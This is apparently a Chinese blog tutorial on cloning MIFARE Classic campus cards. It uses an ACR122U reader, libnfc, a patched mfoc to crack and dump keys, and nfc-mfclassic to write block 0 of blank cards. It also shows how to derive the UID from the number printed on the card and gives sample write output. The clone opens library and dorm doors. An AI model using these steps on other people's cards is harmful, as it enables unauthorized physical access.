整理了可行的MIFARE卡复制方法/工具。使用ACR122U A9工具。复制卡只含有UID,因此只能进图书馆/宿舍楼,不能消费。
安装libnfc. sudo pacman -S libnfc
。下面的教程在ArchLinux (Linux 5.1.4)测试好用。
如果命令失败了,提示找不到NFC设备之类的话,你可以sudo
或者重新插拔一下就好了。
你可以Dump一张已有的校园卡,也可以直接将校园卡背面右下角金黄色数字转换为UID。
mfoc/mfcuk/nfc-mfclassic经测试并不好用,我修改了mfoc
用于dump校园卡。
- mfoc
如果要用于华科校园卡,请使用打过补丁的mfoc: https://github.com/recolic/mfoc
Build:
autoreconf --install ; ./configure ; make
Crack And Dump:
src/mfoc -O output.dmp
- 直接转换(推荐)
你可以使用校园卡背面右下角的黄金色数字,直接得到校园卡的UID数据。
这是一个POC。这段代码清晰的解释了如何从黄色数字计算出你需要的所有数据,你可以学习但你不一定能直接编译它。https://github.com/recolic/mfoc/blob/master/tools/nToData.cc
上面这段代码的输出就是校园卡的数据的前8个字节。所有的卡片的剩余数据都一模一样,你可以在https://github.com/recolic/mfoc 的template.dump找到一个模板。
买到的MIFARE白卡/钥匙扣必须支持写block 0。
- nfc-mfclassic
你可以将B改为A/a/b。具体含义见nfc-mfclassic文档。
nfc-mfclassic W B u output.dump
成功输入及输出样例。
~/t/mfoc ❯❯❯ sudo nfc-mfclassic W B u output.dump
NFC reader: RFCARD / RF1258V603 PICC Interface opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 04 00
UID (NFCID1): aa aa aa aa
SAK (SEL_RES): 08
Guessing size: seems to be a 1024-byte card
Sent bits: 50 00 57 cd
Sent bits: 40 (7 bits)
Received bits: a (4 bits)
Sent bits: 43
Received bits: 0a
Card unlocked
Writing 64 blocks |................................................................|
Done, 64 of 64 blocks written.
我发现有的钥匙扣,只能写一次UID然后就被永远锁死了。一次性产品,正常现象。
商家直接送了软件,我直接放链接。驱动建议自己去ACR122U官网下载。Windows10下测试好用。
https://recolic.net/hms.php?/softwares/windows-NFCIO-tools.zip
其中含有旧版本驱动,TagReader.exe,UIDWriter.exe。一个读一个写。
你好,请问一下是否有方法读取校园卡的学号呢?谢谢!